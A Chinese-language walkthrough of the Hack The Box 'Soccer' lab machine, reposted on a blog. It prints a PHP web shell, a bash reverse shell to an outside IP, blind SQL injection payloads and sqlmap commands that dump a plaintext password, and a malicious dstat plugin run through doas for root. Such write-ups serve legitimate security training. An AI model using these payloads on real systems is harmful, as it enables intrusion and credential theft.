30 HTB Soccer 机器 - 容易

主要知识点

第一阶段:侦查

nmap

nmap快速扫描:

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.194
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-04 13:32 EDT
Nmap scan report for 10.10.11.194
Host is up (0.093s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9091/tcp open  xmltec-xmlmailNmap done: 1 IP address (1 host up) scanned in 6.92 seconds

3个端口,仔细扫描:

oxdf@hacky$ nmap -p 22,80,9091 -sCV 10.10.11.194
Starting Nmap 7.80 ( https://nmap.org ) at 2023-06-04 13:32 EDT
Nmap scan report for 10.10.11.194
Host is up (0.093s latency).PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
...[snip]...
SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.65 seconds

注意到9091也是一个web页面

子域名暴力破解

ffuf 试下80端口soccer.htb:

"ffuf -u http://10.10.11.194 -H "Host: FUZZ.soccer.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac"

oxdf@hacky$ ffuf -u http://10.10.11.194 -H "Host: FUZZ.soccer.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac/'___\  /'___\           /'___\       /\ \__/ /\ \__/  __  __  /\ \__/       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      \ \_\   \ \_\  \ \____/  \ \_\       \/_/    \/_/   \/___/    \/_/       v2.0.0-dev
________________________________________________:: Method           : GET:: URL              : http://10.10.11.194:: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt:: Header           : Host: FUZZ.soccer.htb:: Follow redirects : false:: Calibration      : true:: Timeout          : 10:: Threads          : 40:: Matcher          : Response status: all
________________________________________________:: Progress: [19966/19966] :: Job [1/1] :: 427 req/sec :: Duration: [0:00:47] :: Errors: 0 ::

可以再试下9091端口找子域名,仍然没有收获。

把域名添加到hosts文件里:

10.10.11.194 soccer.htb

soccer.htb - TCP 80

打开页面长这样

查看源代码,这页没有链接

技术栈

burp查看header:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 04 Jun 2023 17:48:07 GMT
Content-Type: text/html
Last-Modified: Thu, 17 Nov 2022 08:07:11 GMT
Connection: close
ETag: W/"6375ebaf-1b05"
Content-Length: 6917

再查看下404页:

没有收获。

目录遍历爆破

用feroxbuster:"feroxbuster -u http://soccer.htb"

oxdf@hacky$ feroxbuster -u http://soccer.htb___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.9.3
───────────────────────────┬──────────────────────🎯  Target Url            │ http://soccer.htb🚀  Threads               │ 50📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt👌  Status Codes          │ All Status Codes!💥  Timeout (secs)        │ 7🦡  User-Agent            │ feroxbuster/2.9.3💉  Config File           │ /etc/feroxbuster/ferox-config.toml🔎  Extract Links         │ true🏁  HTTP methods          │ [GET]🔃  Recursion Depth       │ 4🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        7l       10w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      711l     4253w   403502c http://soccer.htb/ground2.jpg
200      GET     2232l     4070w   223875c http://soccer.htb/ground4.jpg
200      GET      809l     5093w   490253c http://soccer.htb/ground1.jpg
200      GET      494l     1440w    96128c http://soccer.htb/ground3.jpg
200      GET      147l      526w     6917c http://soccer.htb/
301      GET        7l       12w      178c http://soccer.htb/tiny => http://soccer.htb/tiny/
301      GET        7l       12w      178c http://soccer.htb/tiny/uploads => http://soccer.htb/tiny/uploads/
[####################] - 1m     90021/90021   0s      found:7       errors:0      
[####################] - 57s    30000/30000   521/s   http://soccer.htb/ 
[####################] - 56s    30000/30000   526/s   http://soccer.htb/tiny/ 
[####################] - 56s    30000/30000   528/s   http://soccer.htb/tiny/uploads/ 

注意到两个网页:/tiny/uploads

先看下/tiny

“Tiny File Manager” 在网上搜一下,是 web-based PHP file manager,也可以搜到一些漏洞利用信息

Github网页:https://github.com/prasathmani/tinyfilemanager  其中给了默认登录用户名和密码:

admin/admin@123 和 user/12345

Tiny File Manager

用admin登录:

点开tiny目录:

点开uploads,空的:

第二阶段 漏洞利用

上传php webshell cmd.php

<?php system($_REQUEST["cmd"]); ?>

上传失败:

还是转到/tiny/uploads

上传成功。

curl POST请求试一试 

curl http://soccer.htb/tiny/uploads/cmd.php -d 'cmd=id'
oxdf@hacky$ curl http://soccer.htb/tiny/uploads/cmd.php -d 'cmd=id'
uid=33(www-data) gid=33(www-data) groups=33(www-data)

成功。再传一个bash反弹shell:cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.6/443 0>%261"

oxdf@hacky$ curl http://soccer.htb/tiny/uploads/cmd.php -d 'cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.6/443 0>%261"'

有链接,但是:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.194 55140
bash: cannot set terminal process group (1048): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:~/html/tiny/uploads$ 

反向 Shell 的终端环境不完整。

需要升级下shell,详细过程之后再补一篇文章。

第三阶段 再次侦查

文件

连接成功后,查看/var/www/html目录文件:

www-data@soccer:~/html$ ls 
football.jpg  ground2.jpg  ground4.jpg  tiny
ground1.jpg   ground3.jpg  index.html
// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array('admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345                                                      
);

查看/home:

www-data@soccer:/home$ ls
player

有user.txt文件,但是无权限读

www-data@soccer:/home/player$ ls -la
total 28
drwxr-xr-x 3 player player 4096 Nov 28  2022 .
drwxr-xr-x 3 root   root   4096 Nov 17  2022 ..
lrwxrwxrwx 1 root   root      9 Nov 17  2022 .bash_history -> /dev/null
-rw-r--r-- 1 player player  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 player player 3771 Feb 25  2020 .bashrc
drwx------ 2 player player 4096 Nov 17  2022 .cache
-rw-r--r-- 1 player player  807 Feb 25  2020 .profile
lrwxrwxrwx 1 root   root      9 Nov 17  2022 .viminfo -> /dev/null
-rw-r----- 1 root   player   33 Jun  4 17:29 user.txt
www-data@soccer:/home/player$ cat user.txt 
cat: user.txt: Permission denied

网络和进程

www-data@soccer:/$ netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:9091            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1089/nginx: worker  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      1089/nginx: worker  
tcp6       0      0 :::22                   :::*                    LISTEN      - 

3000端口:
 

www-data@soccer:/$ curl localhost:3000
<!DOCTYPE html>          
<html lang="en">              <head>                                                           <meta charset="UTF-8">   <meta http-equiv="X-UA-Compatible" content="IE=edge">                                                                             <meta name="viewport" content="width=device-width, initial-scale=1.0">                                                            <link href="/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">                                                          <script src="/js/bootstrap.bundle.min.js"></script>                                                                               <script src="/js/jquery.min.js"></script>
...[snip]...

3306 33060应该是MySQL端口,但是没密码:

www-data@soccer:/$ mysql -p 3306
Enter password: 
ERROR 1045 (28000): Access denied for user 'www-data'@'localhost' (using password: YES)
www-data@soccer:/$ mysql -p 33060
Enter password: 
ERROR 1045 (28000): Access denied for user 'www-data'@'localhost' (using password: YES)

看进程:

www-data@soccer:/$ ps auxww
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
www-data    1089  0.0  0.1  54080  6176 ?        S    17:28   0:03 nginx: worker process
www-data    1090  0.0  0.1  54080  6492 ?        S    17:28   0:04 nginx: worker process
www-data    2385  0.0  0.0   2608   532 ?        S    18:50   0:00 sh -c bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"
www-data    2386  0.0  0.0   3976  2844 ?        S    18:50   0:00 bash -c bash -i >& /dev/tcp/10.10.14.6/443 0>&1
www-data    2387  0.0  0.0   4108  3484 ?        S    18:50   0:00 bash -i
www-data    2389  0.0  0.0   2636  2000 ?        S    18:50   0:00 script /dev/null -c bash
www-data    2390  0.0  0.0   2608   596 pts/1    Ss   18:50   0:00 sh -c bash
www-data    2391  0.0  0.0   4108  3596 pts/1    S    18:50   0:00 bash
www-data    2404  0.0  0.0   5892  2904 pts/1    R+   18:51   0:00 ps auxww

看起来仅有权限看自己的进程。确认下:

www-data@soccer:/$ mount | grep ^proc
proc on /proc type proc (rw,nodev,relatime,hidepid=2)

mount | grep ^proc 列出当前系统中所有已挂载的文件系统,筛选出以 proc 开头的行(即 proc 文件系统的挂载信息)。
proc on /proc type proc (rw,nodev,relatime,hidepid=2) 这条输出表明 proc 文件系统以增强安全性的配置(hidepid=2)挂载到了 /proc,允许用户通过文件接口访问内核信息,同时限制了对其他用户进程的可见性。

nginx

/etc/nginx/sites-enabled

www-data@soccer:/etc/nginx/sites-enabled$ ls
default  soc-player.htb

default:

server {listen 80;listen [::]:80;server_name 0.0.0.0;return 301 http://soccer.htb$request_uri;
}

设置了主页,允许php文件:

server {listen 80;listen [::]:80;server_name soccer.htb;root /var/www/html;index index.html tinyfilemanager.php;location / {try_files $uri $uri/ =404;}location ~ \.php$ {include snippets/fastcgi-php.conf;fastcgi_pass unix:/run/php/php7.4-fpm.sock;}location ~ /\.ht {deny all;}}

soc-player.htb 给 soc-player.soccer.htb域名设置了另一个站点localhost:3000:
 

server {listen 80;listen [::]:80;server_name soc-player.soccer.htb;root /root/app/views;location / {proxy_pass http://localhost:3000;proxy_http_version 1.1;proxy_set_header Upgrade $http_upgrade;proxy_set_header Connection 'upgrade';proxy_set_header Host $host;proxy_cache_bypass $http_upgrade;}}

更新下我们的hosts设置:

10.10.11.194 soccer.htb soc-player.soccer.htb

soc-player.soccer.htb网页

菜单栏有更多东西:

点开页面Match

注册一个账号,登录,自动转到/check:

输入自己的ticket id,验证存在:

技术栈

查看burp返回包记录

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 04 Jun 2023 21:01:25 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Powered-By: Express
ETag: W/"1a5d-j2rGKcxb2vG5mw817o9kuCXUG9A"
Set-Cookie: connect.sid=s%3AfzlQ3aFEPfRhEXq51K_uqNvexNoR9nuY.%2BBeuQqYAry5y7q1Wccbld3alYHOkL0AmbBCA201JP5E; Path=/; HttpOnly
Content-Length: 6749

使用了Express

再查看http记录发现,登录时会向 /login 提交一个 POST 请求。成功后,服务器返回一个 302 重定向到 /check。该页面加载时,会向 soc-player.soccer.htb:9091 发起一个请求,返回码101

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: 2lpCpI8gQ/C/eDaO6NMwOr0mrNs=

TCP 9091端口是一个 WebSocket 服务器。在 Burp 的 "WebSockets history" 标签页中最初没有显示即时消息。但当check我的ticket时,会出现一条消息和响应:

WebSocket

WebSocket 是一种网络通信协议,用于在客户端(如浏览器)和服务器之间建立持久化、全双工(双向同时通信)的连接。与传统的 HTTP 请求(每次通信都需要重新建立连接)不同,WebSocket 允许双方在单次连接上持续交换数据,适合实时应用。

主要特点:

  1. 实时性:服务器可以主动推送数据给客户端,无需等待客户端请求(如在线聊天、股票行情、游戏同步)。

  2. 低延迟:避免了 HTTP 的重复连接开销,通信更高效。

  3. 双向通信:客户端和服务器可以同时发送和接收数据。

常见应用场景:

  • 在线聊天(如微信网页版)

  • 实时数据监控(如股票价格、物流跟踪)

  • 多人在线游戏

  • 协同编辑工具(如在线文档)

与 HTTP 的区别:

  • HTTP:单向请求(客户端发起→服务器响应),无状态,短连接。

  • WebSocket:双向通信,长连接,适合高频交互场景。

发送和接受的信息是:

第四阶段 SQL注入漏洞利用


我将其中一条发送到服务器(To server)的消息转发到Burp Repeater,并尝试对其进行修改。添加一个单引号(')后,除了返回“票据不存在”(“Ticket Doesn’t Exist”)之外,没有其他反应。

注意:当尝试对整数值进行SQL注入(SQLI)时,除了使用单引号('),也值得尝试不加单引号的情况。因为单引号通常用于闭合字符串,但如果输入被当作整数处理,可能直接使用反引号(`)或注入类似1=1-- -的语句即可生效(-- -用于注释掉后续代码)。

更改请求:"id":"0 or 1=1-- -"

如果用id: "0" 结果是Ticket不存在。所以以上注入成功了

这是一种盲注 SQL 注入——数据库不会在响应中返回任何数据,只有两种可能的响应结果。

我们的目标是向数据库提问,例如:“是否存在以字母 ‘a’ 开头的用户名?”

理解后台查询逻辑
首先,我需要推测系统执行的 SQL 查询语句,可能类似这种:
                                           

    SELECT * FROM ticket WHERE id = {id};


如果查询返回至少一行,系统会响应“票据存在”(Ticket Exists)。
如果没有返回任何行,系统则响应“票据不存在”(Ticket Doesn’t Exist)。

构造测试查询的方法
为了进行测试,有几种方式可以构造查询。在手动测试时,可以使用 UNION 注入。发送一个不返回任何行的查询,然后通过 UNION 拼接另一个查询。如果第二个查询返回数据,系统就会返回“票据存在”。例如:

SELECT * FROM ticket WHERE id = -1 UNION SELECT 1,2,3... --

如果 UNION 部分返回数据,则触发“Ticket Exists”

当然,也可以使用 OR foo=bar 的方式进行测试,但在手动测试时,这种方式更难直观判断逻辑。

关于错误处理的观察
可以注意到,应用程序在遇到 SQL 查询错误时,并不会崩溃,而是统一返回“票据不存在”(Ticket Doesn’t Exist)。这意味着:

即使注入导致语法错误,也不会暴露错误信息(典型的盲注特征)。

必须依赖条件响应差异(True/False)来推断数据库信息。

我们需要知道查询返回的列数,因为UNION语句必须返回相同数量的列,否则会错误。如果发送一个列,返回结果为false:不断增加列数,直到在三个列时返回true:

SELECT * from ticket where id = 0 UNION SELECT 1,2,3;

显示"Ticket Exists":

在MySQL中,有一个mysql.user表存储着可以登录MySQL的用户。发送以下payload,如果该表中存在以"a"开头的用户,就会返回true:

{"id":"0 UNION select user,2,3 from mysql.user where user like 'a%'-- -"}

返回结果为false。很可能存在一个名为"root"的用户,当把"a"改为"r"后,返回结果为true:

以上为手动测试,还是用sqlmap快一些:

sqlmap可以用WebSocket。如果sqlmap返回错误“requires third-party module 'websocket-client' in order to use WebSocket functionality ”,是因为缺少Python websockets库。

或者,返回以下错误时,是因为websockets library安装得不对:

[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/sqlmapapi.py'
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/sqlmap.py'
[21:18:30] [ERROR] wrong modification time of '/usr/share/sqlmap/thirdparty/identywaf/identYwaf.py'
[21:18:30] [CRITICAL] wrong websocket library detected (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-77504
1086')

这两个问题都可以通过安装websocket-client来解决

pip install websocket-client

进行注入时,用以下参数:

-u "ws://soc-player.soccer.htb:9091" - 要连接的URL
--data '{"id": "1234"}' - 要发送的数据
--dbms mysql - 告诉sqlmap这是MySQL数据库
--batch - 对所有问题采用默认回答
--level 5 --risk 3 - 提升到最激进模式以发现布尔型注入(不加这个参数只会发现基于时间的注入,速度非常慢)

sqlmap结果如下

oxdf@hacky$ sqlmap -u ws://soc-player.soccer.htb:9091 --data '{"id": "1234"}' --dbms mysql --batch --lev
el 5 --risk 3
...[snip]...
[21:24:42] [INFO] testing connection to the target URL
...[snip]...
[21:30:25] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[21:30:32] [INFO] (custom) POST parameter 'JSON id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable 
...[snip]...
[21:30:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:30:56] [INFO] (custom) POST parameter 'JSON id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...[snip]...
[21:32:28] [INFO] checking if the injection point on (custom) POST parameter 'JSON id' is a false positive
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 373 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST) Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clausePayload: {"id": "-1533 OR 9982=9982"}Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: {"id": "1234 AND (SELECT 5403 FROM (SELECT(SLEEP(5)))gMBy)"}
---
[21:32:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
...[snip]...

数据库信息

sqlmap已经找到了注入点,我将按上箭头调出之前的命令并添加--dbs参数。布尔型注入可以安全地使用多线程,因此我再添加--threads 10参数来加速。工具会从上次停止的地方继续,列出可用的数据库:

oxdf@hacky$ sqlmap -u ws://soc-player.soccer.htb:9091 --dbs --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
...[snip]...
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
...[snip]...

表格信息

soccer_db似乎是唯一一个非默认数据库。我将把--dbs替换为-D soccer_db来指定该数据库,然后添加--tables参数来列出其中的表:

oxdf@hacky$ sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db --tables --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
...[snip]...
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
...[snip]...

账号信息

对于布尔型和基于时间的SQL注入,通常需要谨慎处理大批量数据导出,因为这类操作会非常缓慢。不过既然当前只有一个表,可以尝试导出整个表数据,因此将--tables替换为-T accounts并添加--dump参数。执行后成功导出了该表内容:

oxdf@hacky$ sqlmap -u ws://soc-player.soccer.htb:9091 -D soccer_db -T accounts --dump --data '{"id": "1234"}' --dbms mysql --batch --level 5 --risk 3 --threads 10
...[snip]...
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+
...[snip]...

player用户密码:PlayerOftheMatch2022

第五阶段 提升权限

回到之前的nc连接,su player:

www-data@soccer:/home/player$ su player -
Password: 
player@soccer:~$

或者ssh也能直接登录:

oxdf@hacky$ sshpass -p PlayerOftheMatch2022 ssh player@soccer.htb
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
...[snip]...
player@soccer:~$

再去读之前没权限读的user.txt

player@soccer:~$ cat user.txt
df7f36e9************************

sudo/doas

先检查sudo,用户没有sudo的权限:

player@soccer:~$ sudo -l
[sudo] password for player: 
Sorry, user player may not run sudo on localhost.

检查setUID权限:

player@soccer:~$ find / -perm -4000 2>/dev/null
/usr/local/bin/doas
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
...[snip]...

doas 是 sudo 的替代方案,通常出现在 OpenBSD 操作系统中,也可以安装在基于 Debian 的 Linux 系统(如 Ubuntu)上。

在 /etc 目录下没有找到 doas.conf 文件,通过 find 命令在文件系统中搜索它:

player@soccer:~$ find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf

查看下:

player@soccer:~$ cat /usr/local/etc/doas.conf 
permit nopass player as root cmd /usr/bin/dstat

doas配置文件:当前用户player被允许以root权限无需密码执行 /usr/bin/dstat 命令。

dstat是一个用于获取系统信息的工具。

dstat 是一个强大的 Linux/Unix 系统性能监控工具,用于实时统计系统资源使用情况(如 CPU、内存、磁盘、网络等)。它结合了 vmstatiostatnetstat 等工具的功能,并以彩色、易读的格式输出数据,支持动态刷新和自定义监控项。

例如:
(1)使用 dstat 关联磁盘吞吐量、网络使用情况(eth0)、总 CPU 使用率和系统计数器。
dstat -dnyc -N eth0 -C total -f 5

(2)检查 dstat 的运行行为及其对系统的影响:
dstat -taf --debug

(3)结合时间插件与 CPU、网络、磁盘、系统、负载、进程及 top_cpu 插件使用:
dstat -tcndylp --top-cpu
此命令等同于:
dstat --time --cpu --net --disk --sys --load --proc --top-cpu

(4)使用 dstat 关联 CPU 统计信息与各设备的中断次数:
dstat -tcyif

再linux man page底下,写着:

可能包含外部 dstat_*.py 插件的路径:

  • ~/.dstat/

  • (dstat 二进制文件路径)/plugins/

  • /usr/share/dstat/

  • /usr/local/share/dstat/

插件是名为 dstat_[插件名称].py 的 Python 脚本。

编写恶意插件

import os  
os.system("/bin/bash")  

这段代码会启动一个交互式 Bash shell。

我们可以写入 ~/.dstat/,但由于 doas 会以 root 身份运行 dstat,因此不会检查 /home/player/.dstat/。好在/usr/local/share/dstat 是可写的。

player@soccer:~$ echo -e 'import os\n\nos.system("/bin/bash")' > /usr/local/share/dstat/dstat_0xdf.py  

写入插件后,使用 --0xdf 参数调用 dstat:

player@soccer:~$ doas /usr/bin/dstat --0xdf  
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses  import imp  
root@soccer:/home/player#  

成功获取了 root shell,并可以提取 flag。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/95663.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/95663.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

阿里云机器翻译接口SDK-RAM权限配置

用户授权翻译权限在数字化时代&#xff0c;短信作为企业与用户沟通的重要桥梁&#xff0c;其高效、可靠的送达直接影响业务转化与用户体验。SDK&#xff08;软件开发工具包&#xff09;的出现极大简化了短信功能的集成过程&#xff0c;让开发者能够快速在应用中嵌入短信验证、通…

ESXI 6.7服务器时间错乱问题

1. 设置ESXI服务器&#xff1a;在此主机上手动配置日期和时间管理-服务-ntpd-鼠标右键-策略-手动启动和停止&#xff0c;状态已停止管理-系统-时间和日期-编辑设置-检查是否选择了【在此主机上手动配置日期和时间】ntp服务状态已停止ntp服务器已停止2. 停止所有虚拟机自动更新时…

CV 医学影像分类、分割、目标检测,之【皮肤病分类】项目拆解

CV 医学影像分类、分割、目标检测&#xff0c;之【皮肤病分类】项目拆解第1-12行&#xff1a;导入库第14-17行&#xff1a;读取标签文件第19-21行&#xff1a;获取疾病名称第23-26行&#xff1a;获取图片名列表第28-35行&#xff1a;筛选有标签的图片第38-43行&#xff1a;提取…

【JavaEE】多线程 -- 线程状态

目录六大状态举例说明六大状态 New 新建状态&#xff1a;线程还没出创建&#xff0c;只有Thread 实例化的对象&#xff0c;调用start 方法之前的状态。Runnable 运行状态&#xff1a;被系统调度后&#xff0c;CPU 正在执行的&#xff0c;Ready 就绪态&#xff0c;系统调度&…

网络流初步

网络流初步 文章目录网络流初步概念介绍最大流费用流概念介绍 网络流不同之处在于它的本质图论&#xff0c;但是把图论的某些概念换了一个说法而已&#xff0c;初步只要了解网络流的各个概念就可以明白的很快。 下述概念是本人自己定义的&#xff0c;对于网络流的题目做的还不…

[系统架构设计师]系统架构基础知识(一)

[系统架构设计师]系统架构基础知识&#xff08;一&#xff09; 一.计算机系统基础知识 1.计算机系统概述 硬件软件及网络组成的系统 2.计算机硬件基础知识 冯 诺依曼结构&#xff1a;运算器&#xff0c;控制器&#xff0c;存储器&#xff0c;输入设备&#xff0c;输出设备 专用…

深入解析Java代理模式:灵活控制对象访问的核心技术

在日常开发中&#xff0c;我们常遇到这样的场景&#xff1a;需要控制对象访问权限、优化高成本操作&#xff0c;或给方法添加额外功能&#xff08;如日志、事务&#xff09;。代理模式&#xff08;Proxy Pattern&#xff09; 正是解决这类问题的金钥匙。作为结构型设计模式的代…

【学习笔记】Java并发编程的艺术——第9章 Java中的线程池

第9章 Java中的线程池 线程池优势&#xff1a; ①减少资源消耗 ②提高响应速度 ③统一管理 9.1 线程池的实现原理 当任务来后 ①判断核心线程池是否已满&#xff0c;若未满&#xff0c;创建一个核心线程来执行任务 ②若无空闲核心线程且核心线程已满&#xff0c;则将任务放入任…

Mybatis学习笔记(九)

常见问题与解决方案 简要描述&#xff1a;总结MyBatis-Plus开发过程中常见的问题、错误及其解决方案&#xff0c;帮助开发者快速定位和解决问题。 核心概念&#xff1a; 常见错误&#xff1a;开发中经常遇到的错误类型性能问题&#xff1a;性能相关问题的排查和解决配置问题&am…

数据类型 list

一、介绍类似于数组&#xff0c;顺序表&#xff0c;deque结构图特点&#xff1a;元素有序&#xff0c;元素允许重复由于头尾高效插入删除&#xff0c;可以模拟栈&#xff0c;队列二、常见 list 命令1、lpush key elem [elem ...]头插元素&#xff0c;返回值列表长度2、lrange k…

pyqt5无法显示opencv绘制文本和掩码信息

背景&#xff1a;pyqt5无法显示opencv绘制的标签和mask&#xff1b;我们在使用YOLO做实例分割做推理时&#xff0c;会使用opencv做后处理结果绘制&#xff08;含标签绘制和掩码绘制&#xff09;&#xff1b;结果opencv绘制的解码却无法在pyqt的解码上面显示。pyqt转换代码如下&…

如何生成严格递增的分布式id?

本文字数&#xff1a;2604字预计阅读时间&#xff1a;15分钟01引言在现有分布式系统中&#xff0c;面对增长迅速的业务数据&#xff0c;id生成一直是非常重要的一环。而分布式系统的id生成方案需要满足几个重要特性&#xff1a;容错高可用、高性能高并发、全局唯一。02技术背景…

【LeetCode】二叉树相关算法题

目录1、二叉树介绍【1】核心概念【2】关键特性2、算法题【1】二叉树的前序遍历【2】二叉树的后序遍历1、二叉树介绍 【1】核心概念 结构含义节点结构二叉树由节点组成&#xff0c; 每个节点包含一个数据元素和最多两个子节点&#xff1a;左子节点和右子节点根节点树的顶部节点…

Vulnhub Deathnote靶机复现攻略

一、靶机安装 下载地址&#xff1a;https://download.vulnhub.com/deathnote/Deathnote.ova 下载好后使用VB打开&#xff0c;配置如下 二、主机发现 使用相同连接方式的kali进行后续操作(172.16.2.7)根据mac地址进行确认。 nmap -sn 172.16.2.1/24 三、端口扫描 端口开放了…

DevEco Studio 6.0.0 元服务页面跳转失败

背景&#xff0c;我使用最新的编辑器DevEco Studio 6.0.0&#xff0c;编写一个元服务&#xff0c;发现使用跳转页面的时候失败了&#xff01;然后查看官方文档&#xff0c;两种方式都测试了&#xff0c;发现都不行。 方法1&#xff1a;Navigation路由跳转无效&#xff0c;见官方…

docker重启或系统重启后harbor自动启动

docker重启或系统重启后harbor自动启动docker重启或系统重启后harbor自动启动方法 1&#xff1a;在 docker-compose.yml 中配置重启策略&#xff08;推荐&#xff09;方法 2&#xff1a;创建 Systemd 服务&#xff08;更可靠&#xff09;方法 3&#xff1a;使用 Docker 的 Rest…

OpenZeppelin Contracts 架构分层分析

OpenZeppelin Contracts 是一个面向以太坊&#xff08;及兼容 EVM 的区块链&#xff09;生态系统的​​模块化、安全性优先、标准兼容的智能合约库​​。其内部代码按照功能职责与抽象层级&#xff0c;可系统性地划分为多个逻辑层次。理解这些层次及其依赖关系&#xff0c;对于…

Java-JVM的内存模型

一.JVM内存模型JVM内存模型可以从进程生命周期和线程生命周期1.线程生命周期每个线程都会有自己各自一份数据&#xff0c;不会存在线程安全问题1.程序计数器指示当前线程执行的字节码指令的行号&#xff0c;以便线程执行时可以回到正确的位置2.虚拟机栈线程私有的&#xff0c;与…

Highcharts Dashboards | 打造企业级数据仪表板:从图表到数据驾驶舱

企业日常决策、产品运营、业务监控&#xff0c;越来越依赖数据驱动。而仪表板&#xff08;Dashboard&#xff09;作为汇总展示多维度信息的“数据驾驶舱”&#xff0c;已成为企业可视化的核心场景之一。如果你正在寻找一款能够快速、灵活、安全构建仪表板的前端图表工具&#x…

基于Java的Markdown转Word工具(标题、段落、表格、Echarts图等)

